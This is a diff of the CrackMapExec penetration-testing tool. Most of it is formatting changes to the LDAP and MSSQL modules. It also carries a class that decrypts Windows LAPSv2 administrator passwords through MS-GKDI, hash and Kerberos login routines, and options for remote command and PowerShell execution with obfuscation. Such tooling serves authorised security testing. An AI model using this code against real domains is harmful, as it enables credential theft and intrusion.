in collect, 'acl' in collect, cache_computers=do_computer_enum) + self.pdc.prefetch_info( + "objectprops" in collect, + "acl" in collect, + cache_computers=do_computer_enum, + ) # Initialize enumerator membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) membership_enum.enumerate_memberships(timestamp=timestamp) - elif 'container' in collect: + elif "container" in collect: # Fetch domains for later, computers if needed - self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=do_computer_enum) + self.pdc.prefetch_info( + "objectprops" in collect, + "acl" in collect, + cache_computers=do_computer_enum, + ) # Initialize enumerator membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) membership_enum.do_container_collection(timestamp=timestamp) elif do_computer_enum: # We need to know which computers to query regardless # We also need the domains to have a mapping from NETBIOS -> FQDN for local admins - self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=True) - elif 'trusts' in collect: + self.pdc.prefetch_info("objectprops" in collect, "acl" in collect, cache_computers=True) + elif "trusts" in collect: # Prefetch domains - self.pdc.get_domains('acl' in collect) - if 'trusts' in collect or 'acl' in collect or 'objectprops' in collect: + self.pdc.get_domains("acl" in collect) + if "trusts" in collect or "acl" in collect or "objectprops" in collect: trusts_enum = DomainEnumerator(self.ad, self.pdc) - trusts_enum.dump_domain(collect,timestamp=timestamp) + trusts_enum.dump_domain(collect, timestamp=timestamp) if do_computer_enum: # If we don't have a GC server, don't use it for deconflictation have_gc = len(self.ad.gcs()) > 0 - computer_enum = ComputerEnumerator(self.ad, self.pdc, collect, do_gc_lookup=have_gc, computerfile=computerfile, exclude_dcs=exclude_dcs) + computer_enum = ComputerEnumerator( + self.ad, + self.pdc, + collect, + do_gc_lookup=have_gc, + computerfile=computerfile, + exclude_dcs=exclude_dcs, + ) computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp) end_time = time.time() - minutes, seconds = divmod(int(end_time-start_time),60) - self.logger.highlight('Done in %02dM %02dS' % (minutes, seconds)) + minutes, seconds = divmod(int(end_time - start_time), 60) + self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds)) diff --git a/cme/protocols/ldap/database.py b/cme/protocols/ldap/database.py index be639775..d702a5db 100644 --- a/cme/protocols/ldap/database.py +++ b/cme/protocols/ldap/database.py @@ -3,7 +3,11 @@ from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger @@ -15,29 +19,30 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) - + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename self.conn = Session() @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text - )''') + )""" + ) - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "port" integer - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: @@ -45,12 +50,7 @@ class database: self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): diff --git a/cme/protocols/ldap/db_navigator.py b/cme/protocols/ldap/db_navigator.py index afeb6af1..36777af1 100644 --- a/cme/protocols/ldap/db_navigator.py +++ b/cme/protocols/ldap/db_navigator.py @@ -15,4 +15,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/ldap/gmsa.py b/cme/protocols/ldap/gmsa.py index baed6fef..3e2e7f31 100644 --- a/cme/protocols/ldap/gmsa.py +++ b/cme/protocols/ldap/gmsa.py @@ -1,35 +1,36 @@ from impacket.structure import Structure + class MSDS_MANAGEDPASSWORD_BLOB(Structure): structure = ( - ('Version','= 0: + # We need to try SSL + try: + ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN) + ldapConnection.login( + username, + password, + domain, + lmhash, + nthash, + aesKey, + kdcHost=kdcHost, + useCache=False, + ) + self.logger.extra["protocol"] = "LDAPS" + self.logger.extra["port"] = "636" + # self.logger.success(out) + return ldapConnection + except ldap_impacket.LDAPSessionError as e: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + else: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + return False + + except OSError as e: + self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") + return False + except KerberosError as e: + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}", + color="red", + ) + return False + + def auth_login(self, domain, username, password, ntlm_hash): + lmhash = "" + nthash = "" + + # This checks to see if we didn't provide the LM Hash + if ntlm_hash and ntlm_hash.find(":") != -1: + lmhash, nthash = ntlm_hash.split(":") + elif ntlm_hash: + nthash = ntlm_hash + + # Create the baseDN + baseDN = "" + domainParts = domain.split(".") + for i in domainParts: + baseDN += f"dc={i}," + # Remove last ',' + baseDN = baseDN[:-1] + + try: + ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain) + ldapConnection.login(username, password, domain, lmhash, nthash) + + # Connect to LDAP + out = "{domain}\\{username}:{password if password else ntlm_hash}" + self.logger.extra["protocol"] = "LDAP" + self.logger.extra["port"] = "389" + # self.logger.success(out) + + return ldapConnection + + except ldap_impacket.LDAPSessionError as e: + if str(e).find("strongerAuthRequired") >= 0: + # We need to try SSL + try: + ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain) + ldapConnection.login(username, password, domain, lmhash, nthash) + self.logger.extra["protocol"] = "LDAPS" + self.logger.extra["port"] = "636" + # self.logger.success(out) + return ldapConnection + except ldap_impacket.LDAPSessionError as e: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + else: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + return False + + except OSError as e: + self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") + return False + +class LAPSv2Extract: + def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port): + if ntlm_hash.find(":") != -1: + self.lmhash, self.nthash = ntlm_hash.split(":") + else: + self.nthash = ntlm_hash + self.lmhash = '' + + self.data = data + self.username = username + self.password = password + self.domain = domain + self.do_kerberos = do_kerberos + self.kdcHost = kdcHost + self.logger = None + self.proto_logger(self.domain, port, self.domain) + + def proto_logger(self, host, port, hostname): + self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) + + def run(self): + KDSCache = {} + self.logger.info('[-] Unpacking blob') + try: + encryptedLAPSBlob = EncryptedPasswordBlob(self.data) + parsed_cms_data, remaining = decoder.decode(encryptedLAPSBlob['Blob'], asn1Spec=rfc5652.ContentInfo()) + enveloped_data_blob = parsed_cms_data['content'] + parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData()) + + recipient_infos = parsed_enveloped_data['recipientInfos'] + kek_recipient_info = recipient_infos[0]['kekri'] + kek_identifier = kek_recipient_info['kekid'] + key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier'])) + tmp,_ = decoder.decode(kek_identifier['other']['keyAttr']) + sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8") + target_sd = create_sd(sid) + except Exception as e: + logging.error('Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e)) + return + + # Check if item is in cache + if key_id['RootKeyId'] in KDSCache: + self.logger.info("Got KDS from cache") + gke = KDSCache[key_id['RootKeyId']] + else: + # Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey + stringBinding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol='ncacn_ip_tcp') + rpctransport = transport.DCERPCTransportFactory(stringBinding) + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) + if self.do_kerberos: + self.logger.info("Connecting using kerberos") + rpctransport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost) + + dce = rpctransport.get_dce_rpc() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + self.logger.info("Connecting to %s" % stringBinding) + try: + dce.connect() + except Exception as e: + logging.error("Something went wrong, check error status => %s" % str(e)) + return False + self.logger.info("Connected") + try: + dce.bind(MSRPC_UUID_GKDI) + except Exception as e: + logging.error("Something went wrong, check error status => %s" % str(e)) + return False + self.logger.info("Successfully bound") + + + self.logger.info("Calling MS-GKDI GetKey") + resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId']) + self.logger.info("Decrypting password") + # Unpack GroupKeyEnvelope + gke = GroupKeyEnvelope(b''.join(resp['pbbOut'])) + KDSCache[gke['RootKeyId']] = gke + + kek = compute_kek(gke, key_id) + self.logger.info("KEK:\t%s" % kek) + enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"]) + iv, _ = decoder.decode(enc_content_parameter) + iv = bytes(iv[0]) + + cek = unwrap_cek(kek, bytes(kek_recipient_info['encryptedKey'])) + self.logger.info("CEK:\t%s" % cek) + plaintext = decrypt_plaintext(cek, iv, remaining) + self.logger.info(plaintext[:-18].decode('utf-16le')) + return plaintext[:-18].decode('utf-16le') \ No newline at end of file diff --git a/cme/protocols/ldap/smbldap.py b/cme/protocols/ldap/smbldap.py deleted file mode 100644 index 8f68cadd..00000000 --- a/cme/protocols/ldap/smbldap.py +++ /dev/null @@ -1,164 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -from impacket.ldap import ldap as ldap_impacket -from impacket.krb5.kerberosv5 import KerberosError -from cme.logger import CMEAdapter - - -ldap_error_status = { - "1": "STATUS_NOT_SUPPORTED", - "533": "STATUS_ACCOUNT_DISABLED", - "701": "STATUS_ACCOUNT_EXPIRED", - "531": "STATUS_ACCOUNT_RESTRICTION", - "530": "STATUS_INVALID_LOGON_HOURS", - "532": "STATUS_PASSWORD_EXPIRED", - "773": "STATUS_PASSWORD_MUST_CHANGE", - "775": "USER_ACCOUNT_LOCKED", - "50": "LDAP_INSUFFICIENT_ACCESS", - "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", - "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED" -} - - -class LDAPConnect: - - def __init__(self, host, port, hostname): - self.logger = None - self.proto_logger(host, port, hostname) - - def proto_logger(self, host, port, hostname): - self.logger = CMEAdapter( - extra={ - "protocol": "LDAP", - "host": host, - "port": port, - "hostname": hostname - } - ) - - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): - lmhash = "" - nthash = "" - - if kdcHost is None: - kdcHost = domain - - # This checks to see if we didn't provide the LM Hash - if ntlm_hash and ntlm_hash.find(":") != -1: - lmhash, nthash = ntlm_hash.split(":") - elif ntlm_hash: - nthash = ntlm_hash - - # Create the baseDN - baseDN = '' - domainParts = domain.split('.') - for i in domainParts: - baseDN += f"dc={i}," - # Remove last ',' - baseDN = baseDN[:-1] - - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN) - ldapConnection.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False) - # Connect to LDAP - out = f"{domain}{username}:{password if password else ntlm_hash}" - self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "389" - return ldapConnection - except ldap_impacket.LDAPSessionError as e: - if str(e).find("strongerAuthRequired") >= 0: - # We need to try SSL - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN) - ldapConnection.login(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False) - self.logger.extra["protocol"] = "LDAPS" - self.logger.extra["port"] = "636" - # self.logger.success(out) - return ldapConnection - except ldap_impacket.LDAPSessionError as e: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" - ) - else: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" - ) - return False - - except OSError as e: - self.logger.debug( - f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}" - ) - return False - except KerberosError as e: - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}", - color="red" - ) - return False - - def plaintext_login(self, domain, username, password, ntlm_hash): - lmhash = "" - nthash = "" - - # This checks to see if we didn't provide the LM Hash - if ntlm_hash and ntlm_hash.find(":") != -1: - lmhash, nthash = ntlm_hash.split(":") - elif ntlm_hash: - nthash = ntlm_hash - - # Create the baseDN - baseDN = '' - domainParts = domain.split(".") - for i in domainParts: - baseDN += f"dc={i}," - # Remove last ',' - baseDN = baseDN[:-1] - - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain) - ldapConnection.login(username, password, domain, lmhash, nthash) - - # Connect to LDAP - out = u"{domain}\\{username}:{password if password else ntlm_hash}" - self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "389" - # self.logger.success(out) - - return ldapConnection - - except ldap_impacket.LDAPSessionError as e: - if str(e).find("strongerAuthRequired") >= 0: - # We need to try SSL - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain) - ldapConnection.login(username, password, domain, lmhash, nthash) - self.logger.extra["protocol"] = "LDAPS" - self.logger.extra["port"] = "636" - # self.logger.success(out) - return ldapConnection - except ldap_impacket.LDAPSessionError as e: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" - ) - else: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red" - ) - return False - - except OSError as e: - self.logger.debug( - f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}" - ) - return False - diff --git a/cme/protocols/mssql.py b/cme/protocols/mssql.py index 13b3db9c..8904701a 100755 --- a/cme/protocols/mssql.py +++ b/cme/protocols/mssql.py @@ -13,8 +13,18 @@ from cme.helpers.powershell import create_ps_command from impacket import tds from impacket.krb5.ccache import CCache from impacket.smbconnection import SMBConnection, SessionError -from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \ - TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE +from impacket.tds import ( + SQLErrorException, + TDS_LOGINACK_TOKEN, + TDS_ERROR_TOKEN, + TDS_ENVCHANGE_TOKEN, + TDS_INFO_TOKEN, + TDS_ENVCHANGE_VARCHAR, + TDS_ENVCHANGE_DATABASE, + TDS_ENVCHANGE_LANGUAGE, + TDS_ENVCHANGE_CHARSET, + TDS_ENVCHANGE_PACKETSIZE, +) class mssql(connection): @@ -24,13 +34,13 @@ class mssql(connection): self.server_os = None self.hash = None self.os_arch = None - self.nthash = '' + self.nthash = "" connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): - mssql_parser = parser.add_parser('mssql', help="own stuff using MSSQL", parents=[std_parser, module_parser]) + mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser]) dgroup = mssql_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain name") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') @@ -39,19 +49,47 @@ class mssql(connection): mssql_parser.add_argument("-q", "--query", dest='mssql_query', metavar='QUERY', type=str, help='execute the specified query against the MSSQL DB') cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands") - cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process') - cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') + cgroup.add_argument( + "--force-ps32", + action="store_true", + help="force the PowerShell command to run in a 32-bit process", + ) + cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") xgroup = cgroup.add_mutually_exclusive_group() - xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") - xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') + xgroup.add_argument( + "-x", + metavar="COMMAND", + dest="execute", + help="execute the specified command", + ) + xgroup.add_argument( + "-X", + metavar="PS_COMMAND", + dest="ps_execute", + help="execute the specified PowerShell command", + ) - psgroup = mssql_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation") - psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts') - psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts') + psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") + psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") + psgroup.add_argument( + "--clear-obfscripts", + action="store_true", + help="Clear all cached obfuscated PowerShell scripts", + ) tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files") - tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt') - tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt') + tgroup.add_argument( + "--put-file", + nargs=2, + metavar="FILE", + help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt", + ) + tgroup.add_argument( + "--get-file", + nargs=2, + metavar="FILE", + help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt", + ) return parser @@ -72,7 +110,7 @@ class mssql(connection): "protocol": "MSSQL", "host": self.host, "port": self.args.port, - "hostname": "None" + "hostname": "None", } ) @@ -114,7 +152,13 @@ class mssql(connection): self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag") self.mssql_instances = self.conn.getInstances(0) - self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances)) + self.db.add_host( + self.host, + self.hostname, + self.domain, + self.server_os, + len(self.mssql_instances), + ) try: self.conn.disconnect() @@ -122,9 +166,7 @@ class mssql(connection): pass def print_host_info(self): - self.logger.display( - f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" - ) + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") # if len(self.mssql_instances) > 0: # self.logger.display("MSSQL DB Instances: {}".format(len(self.mssql_instances))) # for i, instance in enumerate(self.mssql_instances): @@ -156,7 +198,16 @@ class mssql(connection): return False return True - def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): try: self.conn.disconnect() except: @@ -175,18 +226,27 @@ class mssql(connection): hashes = f":{ntlm_hash}" nthash = ntlm_hash - if not all('' == s for s in [self.nthash, password, aesKey]): + if not all("" == s for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: - kerb_pass = '' + kerb_pass = "" try: - res = self.conn.kerberosLogin(None, username, password, domain, hashes, aesKey, kdcHost=kdcHost, useCache=useCache) + res = self.conn.kerberosLogin( + None, + username, + password, + domain, + hashes, + aesKey, + kdcHost=kdcHost, + useCache=useCache, + ) if res is not True: self.conn.printReplies() return False self.password = password - if username == '' and useCache: + if username == "" and useCache: ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) principal = ccache.principal.toPrincipal() self.username = principal.components[0] @@ -196,12 +256,12 @@ class mssql(connection): self.domain = domain self.check_if_admin() - out = u"{}{}{} {}".format( - f'{domain}\\' if not self.args.local_auth else '', + out = "{}{}{} {}".format( + f"{domain}\\" if not self.args.local_auth else "", username, # Show what was used between cleartext, nthash, aesKey and ccache - " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8), + highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""), ) self.logger.success(out) if not self.args.local_auth: @@ -209,11 +269,13 @@ class mssql(connection): return True except Exception as e: self.logger.fail( - u"{}\\{}{} {}".format( - f'{domain}\\' if not self.args.local_auth else '', - username, - " from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}", - e)) + "{}\\{}{} {}".format( + f"{domain}\\" if not self.args.local_auth else "", + username, + " from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}", + e, + ) + ) return False def plaintext_login(self, domain, username, password): @@ -241,11 +303,11 @@ class mssql(connection): if self.admin_privs: self.db.add_admin_user("plaintext", domain, username, password, self.host) - out = u"{}{}:{} {}".format( - f'{domain}\\' if not self.args.local_auth else '', + out = "{}{}:{} {}".format( + f"{domain}\\" if not self.args.local_auth else "", username, process_secret(password), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""), ) self.logger.success(out) if not self.args.local_auth: @@ -254,9 +316,7 @@ class mssql(connection): except BrokenPipeError as e: self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: - self.logger.fail( - f"{domain}\\{username}:{process_secret(password)}" - ) + self.logger.fail(f"{domain}\\{username}:{process_secret(password)}") self.logger.exception(e) return False @@ -283,7 +343,7 @@ class mssql(connection): "", domain, ":" + nthash if not lmhash else ntlm_hash, - not self.args.local_auth + not self.args.local_auth, ) if res is not True: self.conn.printReplies() @@ -298,11 +358,11 @@ class mssql(connection): if self.admin_privs: self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host) - out = u"{}\\{} {} {}".format( + out = "{}\\{} {} {}".format( domain, username, process_secret(ntlm_hash), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""), ) self.logger.success(out) if not self.args.local_auth: @@ -311,16 +371,14 @@ class mssql(connection): except BrokenPipeError as e: self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: - self.logger.fail( - f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}" - ) + self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}") return False def mssql_query(self): result = self.conn.sql_query(self.args.mssql_query) self.logger.debug(f"SQL Query Result: {result}") for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines(): - if line.strip() != '': + if line.strip() != "": self.logger.highlight(line.strip()) return self.conn._MSSQL__rowsPrinter.getMessage() @@ -353,7 +411,14 @@ class mssql(connection): return raw_output @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True): + def ps_execute( + self, + payload=None, + get_output=False, + methods=None, + force_ps32=False, + dont_obfs=True, + ): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: @@ -396,28 +461,27 @@ class mssql(connection): for i, key in enumerate(self.replies[keys]): if key["TokenType"] == TDS_ERROR_TOKEN: error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - self.lastError = SQLErrorException( - f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - ) + self.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}") self._MSSQL__rowsPrinter.error(error) elif key["TokenType"] == TDS_INFO_TOKEN: - self._MSSQL__rowsPrinter.info( - f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - ) + self._MSSQL__rowsPrinter.info(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}") elif key["TokenType"] == TDS_LOGINACK_TOKEN: - self._MSSQL__rowsPrinter.info( - f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) " - ) + self._MSSQL__rowsPrinter.info(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ") elif key["TokenType"] == TDS_ENVCHANGE_TOKEN: - if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): + if key["Type"] in ( + TDS_ENVCHANGE_DATABASE, + TDS_ENVCHANGE_LANGUAGE, + TDS_ENVCHANGE_CHARSET, + TDS_ENVCHANGE_PACKETSIZE, + ): record = TDS_ENVCHANGE_VARCHAR(key["Data"]) if record["OldValue"] == "": - record["OldValue"] = "None".encode('utf-16le') - elif record["NewValue"] == '': - record["NewValue"] = "None".encode('utf-16le') + record["OldValue"] = "None".encode("utf-16le") + elif record["NewValue"] == "": + record["NewValue"] = "None".encode("utf-16le") if key["Type"] == TDS_ENVCHANGE_DATABASE: _type = "DATABASE" elif key["Type"] == TDS_ENVCHANGE_LANGUAGE: @@ -428,8 +492,6 @@ class mssql(connection): _type = "PACKETSIZE" else: _type = f"{key['Type']:d}" - self._MSSQL__rowsPrinter.info( - f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}" - ) + self._MSSQL__rowsPrinter.info(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}") tds.MSSQL.printReplies = printRepliesCME diff --git a/cme/protocols/mssql/database.py b/cme/protocols/mssql/database.py index 7e3f9513..4d4cf6a9 100755 --- a/cme/protocols/mssql/database.py +++ b/cme/protocols/mssql/database.py @@ -3,7 +3,11 @@ from sqlalchemy import MetaData, func, Table, select, insert, update, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy.exc import SAWarning import warnings @@ -22,35 +26,37 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - 